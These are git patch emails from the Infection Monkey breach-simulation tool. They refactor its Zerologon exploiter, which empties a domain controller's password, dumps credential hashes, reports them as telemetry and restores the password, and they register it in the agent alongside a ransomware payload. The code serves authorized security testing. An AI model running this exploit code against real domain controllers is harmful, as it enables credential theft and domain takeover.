self._config.exploit_user_list.append(user) + def add_extracted_creds_to_exploiter_options(self, user: str, lmhash: str, nthash: str) -> None: + if user not in self.options["credentials"]["exploit_user_list"]: + self.options["credentials"]["exploit_user_list"].append(user) - if lmhash not in self._config.exploit_lm_hash_list: - self._config.exploit_lm_hash_list.append(lmhash) + if lmhash not in self.options["credentials"]["exploit_lm_hash_list"]: + self.options["credentials"]["exploit_lm_hash_list"].append(lmhash) - if nthash not in self._config.exploit_ntlm_hash_list: - self._config.exploit_ntlm_hash_list.append(nthash) + if nthash not in self.options["credentials"]["exploit_ntlm_hash_list"]: + self.options["credentials"]["exploit_ntlm_hash_list"].append(nthash) def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> str: if not self.save_HKLM_keys_locally(username, user_pwd_hashes): From 040227286ad3e13d264129059e09d36c4ca666e6 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 7 Mar 2022 15:01:38 +0530 Subject: [PATCH 0681/1110] Agent: Send extracted creds as CredentialTelemetry from Zerologon exploiter --- monkey/infection_monkey/exploit/zerologon.py | 23 ++++++++------------ 1 file changed, 9 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 43b872635..a1b8a3f42 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -16,11 +16,14 @@ from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport from impacket.dcerpc.v5.dtypes import NULL from common.utils.exploit_enum import ExploitType +from infection_monkey.credential_collectors import LMHash, NTHash, Username from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_details, is_exploitable from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec +from infection_monkey.i_puppet.credential_collection import Credentials +from infection_monkey.telemetry.credentials_telem import CredentialsTelem from infection_monkey.utils.capture_output import StdoutCapture logger = logging.getLogger(__name__) @@ -36,7 +39,6 @@ class ZerologonExploiter(HostExploiter): def __init__(self, host: object): super().__init__(host) - self.exploit_info["credentials"] = {} self.exploit_info["password_restored"] = None self._extracted_creds = {} self._secrets_dir = tempfile.TemporaryDirectory(prefix="zerologon") @@ -264,7 +266,7 @@ class ZerologonExploiter(HostExploiter): def store_extracted_creds_for_exploitation(self) -> None: for user in self._extracted_creds.keys(): - self.add_extracted_creds_to_exploit_info( + self.send_extracted_creds_as_credential_telemetry( user, self._extracted_creds[user]["lm_hash"], self._extracted_creds[user]["nt_hash"], @@ -275,18 +277,11 @@ class ZerologonExploiter(HostExploiter): self._extracted_creds[user]["nt_hash"], ) - def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None: - # TODO exploit_info["credentials"] is discontinued, - # refactor to send a credential telemetry - self.exploit_info["credentials"].update( - { - user: { - "username": user, - "password": "", - "lm_hash": lmhash, - "ntlm_hash": nthash, - } - } + def send_extracted_creds_as_credential_telemetry( + self, user: str, lmhash: str, nthash: str + ) -> None: + self._telemetry_messenger.send_telemetry( + CredentialsTelem([Credentials([Username(user)], [LMHash(lmhash), NTHash(nthash)])]) ) # so other exploiters can use these creds From a927879334ec7de4cae86754ae6ced93f8455af9 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 7 Mar 2022 16:57:50 +0530 Subject: [PATCH 0682/1110] Agent: Remove `host` from Zerologon exploiter's constructor --- monkey/infection_monkey/exploit/zerologon.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index a1b8a3f42..2ad1b0a36 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -37,8 +37,8 @@ class ZerologonExploiter(HostExploiter): MAX_ATTEMPTS = 2000 # For 2000, expected average number of attempts needed: 256. ERROR_CODE_ACCESS_DENIED = 0xC0000022 - def __init__(self, host: object): - super().__init__(host) + def __init__(self): + super().__init__() self.exploit_info["password_restored"] = None self._extracted_creds = {} self._secrets_dir = tempfile.TemporaryDirectory(prefix="zerologon") From 5ec05d56177b0bdf9aab3fe1323743f348604354 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 7 Mar 2022 17:00:38 +0530 Subject: [PATCH 0683/1110] UT: Fix Zerologon UTs --- .../unit_tests/infection_monkey/exploit/test_zerologon.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py index 95beb1778..4a6fbf53d 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py @@ -1,7 +1,5 @@ import pytest -from infection_monkey.model.host import VictimHost - DOMAIN_NAME = "domain-name" IP = "0.0.0.0" NETBIOS_NAME = "NetBIOS Name" @@ -19,8 +17,7 @@ def zerologon_exploiter_object(monkeypatch): def mock_report_login_attempt(**kwargs): return None - host = VictimHost(IP, DOMAIN_NAME) - obj = ZerologonExploiter(host) + obj = ZerologonExploiter() monkeypatch.setattr(obj, "dc_name", NETBIOS_NAME, raising=False) monkeypatch.setattr(obj, "report_login_attempt", mock_report_login_attempt) return obj From 325e58cea25b0c32954a1c10cf40bb12a66d1268 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 7 Mar 2022 15:21:24 +0200 Subject: [PATCH 0684/1110] Agent: explicitly specify some timeouts in zerologon exploiter --- .../infection_monkey/exploit/zerologon_utils/dump_secrets.py | 5 ++++- .../infection_monkey/exploit/zerologon_utils/remote_shell.py | 1 + monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py | 3 ++- 3 files changed, 7 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py index c208a61f6..7fb0c5288 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -56,6 +56,7 @@ from impacket.examples.secretsdump import ( ) from impacket.smbconnection import SMBConnection +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from infection_monkey.utils.capture_output import StdoutCapture logger = logging.getLogger(__name__) @@ -96,7 +97,9 @@ class DumpSecrets: self.__lmhash, self.__nthash = options.hashes.split(":") def connect(self): - self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host) + self.__smb_connection = SMBConnection( + self.__remote_name, self.__remote_host, timeout=LONG_REQUEST_TIMEOUT + ) self.__smb_connection.login( self.__username, self.__password, diff --git a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py index d899c73e8..4d3de85bc 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py @@ -71,6 +71,7 @@ class RemoteShell(cmd.Cmd): self.__secrets_dir = secrets_dir # We don't wanna deal with timeouts from now on. + # TODO are we sure we don't need timeout anymore? if self.__transferClient is not None: self.__transferClient.setTimeout(100000) self.do_cd("\\") diff --git a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py index ad5f2a9d3..e9816bde0 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py @@ -51,6 +51,7 @@ from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dtypes import NULL from impacket.smbconnection import SMBConnection +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell logger = logging.getLogger(__name__) @@ -74,7 +75,7 @@ class Wmiexec: self.shell = None def connect(self): - self.smbConnection = SMBConnection(self.__ip, self.__ip) + self.smbConnection = SMBConnection(self.__ip, self.__ip, timeout=LONG_REQUEST_TIMEOUT) self.smbConnection.login( user=self.__username, password=self.__password, From c322446aee84a9b6f5b7664402e3cfd657d04c3d Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 7 Mar 2022 16:42:57 +0200 Subject: [PATCH 0685/1110] Agent: use exploit_results in zerologon --- monkey/infection_monkey/exploit/zerologon.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 2ad1b0a36..0590326f3 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -22,6 +22,7 @@ from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_details, is_exploitable from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec +from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.i_puppet.credential_collection import Credentials from infection_monkey.telemetry.credentials_telem import CredentialsTelem from infection_monkey.utils.capture_output import StdoutCapture @@ -46,11 +47,12 @@ class ZerologonExploiter(HostExploiter): def __del__(self): self._secrets_dir.cleanup() - def _exploit_host(self) -> bool: + def _exploit_host(self) -> ExploiterResultData: self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host) can_exploit, rpc_con = is_exploitable(self) if can_exploit: + self.exploit_result.exploitation_success = True logger.info("Target vulnerable, changing account password to empty string.") # Start exploiting attempts. @@ -64,10 +66,11 @@ class ZerologonExploiter(HostExploiter): "Exploit not attempted. Target is most likely patched, or an error was " "encountered." ) - return False + return self.exploit_result # Restore DC's original password. if _exploited: + self.exploit_result.propagation_success = True if self.restore_password(): self.exploit_info["password_restored"] = True self.store_extracted_creds_for_exploitation() @@ -78,7 +81,7 @@ class ZerologonExploiter(HostExploiter): else: logger.info("System was not exploited.") - return _exploited + return self.exploit_result @staticmethod def connect_to_dc(dc_ip) -> object: From 118c2abaee16f7bfb3d1611470f226ba20745dcb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Mar 2022 10:32:16 -0500 Subject: [PATCH 0686/1110] Agent: Load ZerologonExploiter into the puppet --- monkey/infection_monkey/monkey.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 218b0e92a..d349954c8 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -20,6 +20,7 @@ from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.log4shell import Log4ShellExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.exploit.wmiexec import WmiExploiter +from infection_monkey.exploit.zerologon import ZerologonExploiter from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.master import AutomatedMaster from infection_monkey.master.control_channel import ControlChannel @@ -221,6 +222,11 @@ class InfectionMonkey: ) puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER) puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER) + puppet.load_plugin( + "ZerologonExploiter", + exploit_wrapper.wrap(ZerologonExploiter), + PluginType.EXPLOITER, + ) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) From 0d5fcf7fbf489921d7e3f6959a97e9e307889857 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Mar 2022 10:35:04 -0500 Subject: [PATCH 0687/1110] Agent: Fix name of self.telemetry_messenger in ZerologonExploiter --- monkey/infection_monkey/exploit/zerologon.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 0590326f3..54ea21cd7 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -283,7 +283,7 @@ class ZerologonExploiter(HostExploiter): def send_extracted_creds_as_credential_telemetry( self, user: str, lmhash: str, nthash: str ) -> None: - self._telemetry_messenger.send_telemetry( + self.telemetry_messenger.send_telemetry( CredentialsTelem([Credentials([Username(user)], [LMHash(lmhash), NTHash(nthash)])]) ) From 8bc6086e1a8395b681519b0d4a1b225ff9e8e126 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Mar 2022 11:10:52 -0500 Subject: [PATCH 0688/1110] Agent: Correctly set propagation/exploitation status in Zerologon --- monkey/infection_monkey/exploit/zerologon.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 54ea21cd7..6f13f16c4 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -70,7 +70,8 @@ class ZerologonExploiter(HostExploiter): # Restore DC's original password. if _exploited: - self.exploit_result.propagation_success = True + self.exploit_result.propagation_success = False + self.exploit_result.exploitation_success = _exploited if self.restore_password(): self.exploit_info["password_restored"] = True self.store_extracted_creds_for_exploitation() From d6fe9c2ef24b2f51789cd0b37c405ac1d3944100 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 9 Mar 2022 14:08:06 +0530 Subject: [PATCH 0689/1110] Agent: Remove `add_extracted_creds_to_exploiter_options()` from Zerologon exploiter --- monkey/infection_monkey/exploit/zerologon.py | 16 ---------------- 1 file changed, 16 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 6f13f16c4..849e6935a 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -275,11 +275,6 @@ class ZerologonExploiter(HostExploiter): self._extracted_creds[user]["lm_hash"], self._extracted_creds[user]["nt_hash"], ) - self.add_extracted_creds_to_exploiter_options( - user, - self._extracted_creds[user]["lm_hash"], - self._extracted_creds[user]["nt_hash"], - ) def send_extracted_creds_as_credential_telemetry( self, user: str, lmhash: str, nthash: str @@ -288,17 +283,6 @@ class ZerologonExploiter(HostExploiter): CredentialsTelem([Credentials([Username(user)], [LMHash(lmhash), NTHash(nthash)])]) ) - # so other exploiters can use these creds - def add_extracted_creds_to_exploiter_options(self, user: str, lmhash: str, nthash: str) -> None: - if user not in self.options["credentials"]["exploit_user_list"]: - self.options["credentials"]["exploit_user_list"].append(user) - - if lmhash not in self.options["credentials"]["exploit_lm_hash_list"]: - self.options["credentials"]["exploit_lm_hash_list"].append(lmhash) - - if nthash not in self.options["credentials"]["exploit_ntlm_hash_list"]: - self.options["credentials"]["exploit_ntlm_hash_list"].append(nthash) - def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> str: if not self.save_HKLM_keys_locally(username, user_pwd_hashes): return From 5e3829aab3420a34e6992cfbefe0d409807f867e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 9 Mar 2022 17:00:33 +0530 Subject: [PATCH 0690/1110] Island: Add field `propagated` to node and rename image files --- monkey/monkey_island/cc/services/node.py | 15 ++++++++++++++- .../cc/services/telemetry/processing/exploit.py | 2 ++ .../cc/services/utils/node_states.py | 2 ++ ...{exploited_linux.png => propagated_linux.png} | Bin ...loited_windows.png => propagated_windows.png} | Bin 5 files changed, 18 insertions(+), 1 deletion(-) rename monkey/monkey_island/cc/ui/src/images/nodes/{exploited_linux.png => propagated_linux.png} (100%) rename monkey/monkey_island/cc/ui/src/images/nodes/{exploited_windows.png => propagated_windows.png} (100%) diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 74fb1b091..a1708e270 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -128,8 +128,16 @@ class NodeService: def get_node_group(node) -> str: if "group" in node and node["group"]: return node["group"] - node_type = "exploited" if node.get("exploited") else "clean" + + if node.get("exploited"): + node_type = "exploited" + elif node.get("propagated"): + node_type = "propagated" + else: + node_type = "clean" + node_os = NodeService.get_node_os(node) + return NodeStates.get_by_keywords([node_type, node_os]).value @staticmethod @@ -202,6 +210,7 @@ class NodeService: "ip_addresses": [ip_address], "domain_name": domain_name, "exploited": False, + "propagated": False, "os": {"type": "unknown", "version": "unknown"}, } ) @@ -288,6 +297,10 @@ class NodeService: def set_node_exploited(node_id): mongo.db.node.update({"_id": node_id}, {"$set": {"exploited": True}}) + @staticmethod + def set_node_propagated(node_id): + mongo.db.node.update({"_id": node_id}, {"$set": {"propagated": True}}) + @staticmethod def update_dead_monkeys(): # Update dead monkeys only if no living monkey transmitted keepalive in the last 10 minutes diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index d035dedd3..da46cdcc7 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -52,6 +52,8 @@ def update_network_with_exploit(edge: EdgeService, telemetry_json): edge.update_based_on_exploit(new_exploit) if new_exploit["exploitation_result"]: NodeService.set_node_exploited(edge.dst_node_id) + if new_exploit["propagation_result"]: + NodeService.set_node_propagated(edge.dst_node_id) def encrypt_exploit_creds(telemetry_json): diff --git a/monkey/monkey_island/cc/services/utils/node_states.py b/monkey/monkey_island/cc/services/utils/node_states.py index 0d6371111..476255de4 100644 --- a/monkey/monkey_island/cc/services/utils/node_states.py +++ b/monkey/monkey_island/cc/services/utils/node_states.py @@ -11,6 +11,8 @@ class NodeStates(Enum): CLEAN_WINDOWS = "clean_windows" EXPLOITED_LINUX = "exploited_linux" EXPLOITED_WINDOWS = "exploited_windows" + PROPAGATED_LINUX = "propagated_linux" + PROPAGATED_WINDOWS = "propagated_windows" ISLAND = "island" ISLAND_MONKEY_LINUX = "island_monkey_linux" ISLAND_MONKEY_LINUX_RUNNING = "island_monkey_linux_running" diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/exploited_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/propagated_linux.png similarity index 100% rename from monkey/monkey_island/cc/ui/src/images/nodes/exploited_linux.png rename to monkey/monkey_island/cc/ui/src/images/nodes/propagated_linux.png diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/exploited_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/propagated_windows.png similarity index 100% rename from monkey/monkey_island/cc/ui/src/images/nodes/exploited_windows.png rename to monkey/monkey_island/cc/ui/src/images/nodes/propagated_windows.png From a3eb0bc6f271562a91361c68902e686d7e7d0506 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 9 Mar 2022 17:04:07 +0530 Subject: [PATCH 0691/1110] Island: Remove unused `set_node_group()` in NodeService --- monkey/monkey_island/cc/services/node.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index a1708e270..fe0c9489a 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -172,10 +172,6 @@ class NodeService: "os": NodeService.get_node_os(node), } - @staticmethod - def set_node_group(node_id: str, node_group: NodeStates): - mongo.db.node.update({"_id": node_id}, {"$set": {"group": node_group.value}}, upsert=False) - @staticmethod def unset_all_monkey_tunnels(monkey_id): mongo.db.monkey.update({"_id": monkey_id}, {"$unset": {"tunnel": ""}}, upsert=False) From 71328ea2b14148386306648515419829a6ed023c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 9 Mar 2022 12:21:03 +0100 Subject: [PATCH 0692/1110] Agent, Island: User friendly log name * Configurable log directories * Random component to the log file * 'infection-monkey---.log' --- monkey/infection_monkey/config.py | 8 ++--- monkey/infection_monkey/example.conf | 8 ++--- .../infection_monkey/utils/monkey_log_path.py | 29 ++++++++++++++--- .../cc/services/config_schema/internal.py | 32 +++++++++---------- .../monkey_configs/flat_config.json | 8 ++--- .../monkey_config_standard.json | 8 ++--- 6 files changed, 57 insertions(+), 36 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 63c8c5c3b..60799e938 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -71,10 +71,10 @@ class Configuration(object): # logging config ########################### - dropper_log_path_windows = "%temp%\\~df1562.tmp" - dropper_log_path_linux = "/tmp/user-1562" - monkey_log_path_windows = "%temp%\\~df1563.tmp" - monkey_log_path_linux = "/tmp/user-1563" + dropper_log_directory_linux = "/tmp/" + dropper_log_directory_windows = "%temp%\\" + monkey_log_directory_linux = "/tmp/" + monkey_log_directory_windows = "%temp%\\" ########################### # dropper config diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index f370e5fdd..2aaafa728 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -16,8 +16,8 @@ "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", "dropper_date_reference_path_linux": "/bin/sh", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "dropper_log_path_linux": "/tmp/user-1562", + "dropper_log_directory_linux": "/tmp/", + "dropper_log_directory_windows": "%temp%\\", "dropper_set_date": true, "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", "dropper_target_path_linux": "/tmp/monkey", @@ -38,8 +38,8 @@ "MSSQLFingerprint", "ElasticFinger" ], - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "monkey_log_path_linux": "/tmp/user-1563", + "monkey_log_directory_windows": "%temp%\\", + "monkey_log_directory_linux": "/tmp/", "ping_scan_timeout": 10000, "smb_download_timeout": 300, "smb_service_name": "InfectionMonkey", diff --git a/monkey/infection_monkey/utils/monkey_log_path.py b/monkey/infection_monkey/utils/monkey_log_path.py index 0b97f83b9..3c5e7e327 100644 --- a/monkey/infection_monkey/utils/monkey_log_path.py +++ b/monkey/infection_monkey/utils/monkey_log_path.py @@ -1,20 +1,41 @@ import os +import string import sys +import time +from random import SystemRandom from infection_monkey.config import WormConfiguration def get_monkey_log_path(): return ( - os.path.expandvars(WormConfiguration.monkey_log_path_windows) + os.path.expandvars( + _generate_random_log_filepath(WormConfiguration.monkey_log_directory_windows, "agent") + ) if sys.platform == "win32" - else WormConfiguration.monkey_log_path_linux + else _generate_random_log_filepath(WormConfiguration.monkey_log_directory_linux, "agent") ) def get_dropper_log_path(): return ( - os.path.expandvars(WormConfiguration.dropper_log_path_windows) + os.path.expandvars( + _generate_random_log_filepath( + WormConfiguration.dropper_log_directory_windows, "dropper" + ) + ) if sys.platform == "win32" - else WormConfiguration.dropper_log_path_linux + else _generate_random_log_filepath(WormConfiguration.dropper_log_directory_linux, "dropper") ) + + +def _generate_random_log_filepath(log_directory: str, monkey_arg: str) -> str: + safe_random = SystemRandom() + random_string = "".join( + [safe_random.choice(string.ascii_lowercase + string.digits) for _ in range(8)] + ) + prefix = f"infection-monkey-{monkey_arg}-" + suffix = f"-{time.strftime('%Y-%m-%d-%H-%M-%S', time.gmtime())}.log" + log_file_path = os.path.join(log_directory, prefix + random_string + suffix) + + return log_file_path diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 45b76dd23..c492d7904 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -188,29 +188,29 @@ INTERNAL = { "title": "Logging", "type": "object", "properties": { - "dropper_log_path_linux": { - "title": "Dropper log file path on Linux", + "dropper_log_directory_linux": { + "title": "Dropper log directory path on Linux", "type": "string", - "default": "/tmp/user-1562", - "description": "The fullpath of the dropper log file on Linux", + "default": "/tmp/", + "description": "The directory path of the dropper log file on Linux", }, - "dropper_log_path_windows": { - "title": "Dropper log file path on Windows", + "dropper_log_directory_windows": { + "title": "Dropper log directory path on Windows", "type": "string", - "default": "%temp%\\~df1562.tmp", - "description": "The fullpath of the dropper log file on Windows", + "default": "%temp%\\", + "description": "The directory path of the dropper log file on Windows", }, - "monkey_log_path_linux": { - "title": "Monkey log file path on Linux", + "monkey_log_directory_linux": { + "title": "Monkey log directory path on Linux", "type": "string", - "default": "/tmp/user-1563", - "description": "The fullpath of the monkey log file on Linux", + "default": "/tmp/", + "description": "The directory path of the monkey log file on Linux", }, - "monkey_log_path_windows": { - "title": "Monkey log file path on Windows", + "monkey_log_directory_windows": { + "title": "Monkey log directory path on Windows", "type": "string", - "default": "%temp%\\~df1563.tmp", - "description": "The fullpath of the monkey log file on Windows", + "default": "%temp%\\", + "description": "The directory path of the monkey log file on Windows", }, }, }, diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index fdac570f5..d7cc0734a 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -23,8 +23,8 @@ "depth": 2, "dropper_date_reference_path_linux": "/bin/sh", "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "dropper_log_directory_linux": "/tmp/", + "dropper_log_directory_windows": "%temp%\\", "dropper_set_date": true, "dropper_target_path_linux": "/tmp/monkey", "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", @@ -71,8 +71,8 @@ "keep_tunnel_open_time": 60, "local_network_scan": true, "max_depth": null, - "monkey_log_path_linux": "/tmp/user-1563", - "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "monkey_log_directory_linux": "/tmp/", + "monkey_log_directory_windows": "%temp%\\", "ping_scan_timeout": 1000, "post_breach_actions": [ "CommunicateAsBackdoorUser", diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index 9891fef0c..447a775b6 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -107,10 +107,10 @@ "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe" }, "logging": { - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "monkey_log_path_windows": "%temp%\\~df1563.tmp" + "dropper_log_directory_linux": "/tmp/", + "dropper_log_directory_windows": "%temp%\\", + "monkey_log_directory_linux": "/tmp/", + "monkey_log_directory_windows": "%temp%\\" }, "exploits": { "exploit_lm_hash_list": [], From a8018a7956610263c91ceaa6fba764aa07614d86 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 9 Mar 2022 15:54:23 +0000 Subject: [PATCH 0693/1110] Agent: Add impacket_user decorator to the zerologon impacket_user decorator will awoid race conditions with other exploiters using wmi tools --- monkey/infection_monkey/exploit/zerologon.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 849e6935a..153b31bdd 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -18,6 +18,7 @@ from impacket.dcerpc.v5.dtypes import NULL from common.utils.exploit_enum import ExploitType from infection_monkey.credential_collectors import LMHash, NTHash, Username from infection_monkey.exploit.HostExploiter import HostExploiter +from infection_monkey.exploit.tools.wmi_tools import WmiTools from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_details, is_exploitable @@ -47,6 +48,7 @@ class ZerologonExploiter(HostExploiter): def __del__(self): self._secrets_dir.cleanup() + @WmiTools.impacket_user def _exploit_host(self) -> ExploiterResultData: self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host) From 2c8aef6d8019c1b5c85545cacef125741d45ed8e Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 9 Mar 2022 15:55:38 +0000 Subject: [PATCH 0694/1110] Island: remove unused node states Exploited node state is no longer used, returning it in the list caused errors on the ui --- monkey/monkey_island/cc/services/node.py | 4 +--- monkey/monkey_island/cc/services/utils/node_states.py | 2 -- 2 files changed, 1 insertion(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index fe0c9489a..a006d9d7f 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -129,9 +129,7 @@ class NodeService: if "group" in node and node["group"]: return node["group"] - if node.get("exploited"): - node_type = "exploited" - elif node.get("propagated"): + if node.get("propagated"): node_type = "propagated" else: node_type = "clean" diff --git a/monkey/monkey_island/cc/services/utils/node_states.py b/monkey/monkey_island/cc/services/utils/node_states.py index 476255de4..cb8024bd2 100644 --- a/monkey/monkey_island/cc/services/utils/node_states.py +++ b/monkey/monkey_island/cc/services/utils/node_states.py @@ -9,8 +9,6 @@ class NodeStates(Enum): CLEAN_UNKNOWN = "clean_unknown" CLEAN_LINUX = "clean_linux" CLEAN_WINDOWS = "clean_windows" - EXPLOITED_LINUX = 